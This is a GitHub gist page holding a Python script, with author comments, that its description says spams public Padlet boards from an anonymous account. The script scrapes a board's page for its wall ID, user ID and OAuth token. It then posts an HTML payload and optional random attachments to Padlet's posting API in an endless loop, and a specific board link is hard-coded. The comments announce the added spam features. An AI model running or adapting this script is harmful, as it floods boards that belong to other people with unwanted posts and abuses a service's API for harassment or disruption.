Skip to content

Instantly share code, notes, and snippets.

@TheRedstoneRadiant
Last active December 9, 2023 21:05
Show Gist options
  • Save TheRedstoneRadiant/4e923c7da75a8a97aace319375f1dc43 to your computer and use it in GitHub Desktop.
Save TheRedstoneRadiant/4e923c7da75a8a97aace319375f1dc43 to your computer and use it in GitHub Desktop.
Spams public padlets randomly using an anonymous account.
import requests, json, random
from bs4 import BeautifulSoup
BASE_URL: str = "https://padlet.com/"
PADLET_LINK: str = "kzezxhghus/cns0m5vgy7flm1cl"
ATTACHMENTS: list[str] = []
def post_padlet(token, wall_id, author_id, subject, body, index):
payload = {
"cid": "c_new4",
"wall_id": wall_id,
"published": True,
"author_id": author_id,
"width": 200,
"body": body,
"subject": subject,
"attachment": "",
"attachment_caption": None,
"sort_index": index,
}
if ATTACHMENTS:
payload["attachment"] = random.choice(ATTACHMENTS)
return requests.post(
"https://padlet.com/api/5/wishes",
headers={"Authorization": f"Bearer {token}"},
json=payload,
)
if __name__ == "__main__":
with open("payload.json") as file:
payload = json.load(file)
soup = BeautifulSoup(requests.get(BASE_URL + PADLET_LINK).text, "html.parser")
user = json.loads(
soup.select("[name=verify-v1]")[0].find("script").text.split("= ")[1]
)
USER_ID = user["userId"]
padlet = requests.get(
BASE_URL + soup.select("#starting-state-preload")[0]["href"]
).json()
WALL_ID = padlet["wall"]["id"]
wishes = requests.get(
f"https://api.padlet.com/api/5/wishes?wall_id={WALL_ID}"
).json()["data"]
OAUTH_TOKEN = padlet["arvoConfig"]["token"]["oauthToken"]
print(
f"""
"{padlet["wall"]["headline"]}" ({padlet["wall"]["id"]})
{padlet["wall"]["namespace"]} - {padlet["wall"]["name"]}
Logged in as: {user["userRegistration"]} ({user["userId"]})
Token: {padlet["arvoConfig"]["token"]["oauthToken"]}
"""
)
i = 0
while True:
print(f"Count: {i}, Delivering payload", end="\r")
r = post_padlet(
OAUTH_TOKEN,
WALL_ID,
USER_ID,
payload["subject"],
payload["body"],
random.choice(wishes)["attributes"]["sort_index"],
)
r.raise_for_status()
i += 1
{
"subject": "Subject",
"body": "<div>Body</div>"
}
@TheRedstoneRadiant
Copy link
Author

TheRedstoneRadiant commented Jul 30, 2022

@TheRedstoneRadiant
Copy link
Author

Now spams posts randomly

@TheRedstoneRadiant
Copy link
Author

Added the ability to spam attachments.

Randomly selected from ATTACHMENTS array.

@TheRedstoneRadiant
Copy link
Author

Added typehints.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment